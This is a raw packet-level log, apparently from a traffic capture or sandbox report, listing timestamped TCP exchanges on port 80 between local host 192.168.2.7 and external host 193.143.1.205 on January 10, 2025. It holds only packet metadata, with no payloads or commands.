Jan 10, 2025 21:39:57.740338087 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740344048 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.740350008 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740362883 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740370989 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.740375996 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740387917 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740400076 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740407944 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.740411043 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740417004 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.740425110 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740437031 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740447998 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740458965 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.740461111 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.740480900 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.740499020 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.776956081 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777021885 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777034044 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777045012 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777050972 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777059078 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777064085 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777070999 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777205944 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777219057 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777226925 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777232885 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777240038 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777246952 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777255058 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777261019 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777281046 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777292967 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777357101 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777369976 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777376890 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777404070 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777410984 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777420998 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777427912 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777435064 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777473927 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.777473927 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.777473927 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.777487040 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777502060 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777508974 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777548075 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.777571917 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777585030 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777590990 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777596951 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777602911 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777667999 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777667999 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.777683973 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.777684927 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777692080 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777698994 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777704000 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777709961 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777753115 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.777848005 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.777982950 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.777996063 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778003931 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778009892 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778016090 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778021097 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778026104 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778033972 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778042078 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778047085 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778059006 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778072119 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778090000 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778098106 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778104067 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778106928 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.778110027 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778116941 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778122902 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778167963 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.778176069 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778263092 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.778273106 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778285980 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778291941 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778340101 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778346062 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.778352976 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778359890 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778366089 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778373003 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778379917 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778445959 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778454065 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778460026 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778465033 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778471947 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778476954 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778482914 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778534889 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.778703928 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778717041 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778723001 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778728962 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778734922 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778745890 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778759956 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778767109 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.778774023 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778786898 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778795004 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.778804064 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778825998 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.778892994 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778903961 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778912067 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778958082 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778966904 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778980970 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778987885 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.778994083 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.778995991 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.779062033 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.786441088 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.815529108 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815633059 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.815658092 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815670967 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815682888 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815696001 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815709114 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815711975 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.815721035 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815730095 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.815743923 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815754890 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815764904 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.815768003 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815778971 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815783024 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.815792084 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815804005 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815815926 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815824986 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.815829039 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815840960 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815851927 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.815853119 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.815864086 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.815891027 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.826863050 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.826884985 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.826896906 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.826910019 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.826922894 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.826945066 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.826951027 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.826957941 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.826970100 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.826977968 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.826977968 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.826991081 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.827003002 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.827006102 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.827016115 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.827028990 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.827033997 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.827040911 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.827053070 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.827065945 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.827066898 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.827080011 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.827084064 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.827107906 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.863775015 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.863790035 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.863887072 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.863897085 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.863910913 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.863924026 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.863938093 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.863957882 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.863960028 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.863980055 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.863986969 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864001036 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864012003 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864016056 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864025116 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864036083 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864048958 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864054918 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864059925 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864074945 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864084005 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864085913 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864098072 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864099979 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864120960 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864123106 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864149094 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864154100 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864384890 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864396095 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864403009 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864408016 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864423037 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864440918 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864453077 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864464045 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864465952 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864480019 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864491940 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864502907 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864509106 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864515066 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864522934 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864527941 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864538908 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864541054 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864554882 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864562988 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864588022 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864605904 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864622116 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864639997 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864650011 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864660978 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864660978 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864672899 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864684105 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864686966 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864696980 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864703894 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864713907 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864732981 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864733934 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864744902 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864756107 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864767075 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864769936 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864778996 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864788055 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864790916 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864803076 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864811897 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864815950 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864830971 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864846945 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864850998 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864869118 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864881039 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864882946 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864892960 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864902973 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864922047 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864928961 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.864933968 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864947081 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864958048 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.864979029 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865001917 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865027905 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865041971 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865062952 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865072966 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865094900 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865128994 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865231037 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865242958 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865255117 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865267992 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865274906 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865279913 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865292072 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865303993 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865303993 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865329027 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865339994 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865350962 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865360975 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865377903 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865380049 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865396976 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865398884 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865410089 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865422010 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865423918 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865433931 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865446091 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865452051 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865458012 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865470886 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865484953 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865485907 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865498066 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865536928 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865571976 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865645885 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865658998 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865669966 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865680933 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865688086 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.865694046 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.865711927 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.902087927 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902117014 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902131081 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902143002 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902156115 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902165890 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.902169943 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902183056 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902184963 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.902199030 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902223110 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.902383089 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902395964 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902410030 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902416945 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.902443886 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.902477026 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902488947 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902502060 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902517080 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902522087 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.902530909 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.902550936 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.919498920 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919512987 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919534922 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919545889 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919559002 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919570923 CET	80	49845	193.143.1.205	192.168.2.7
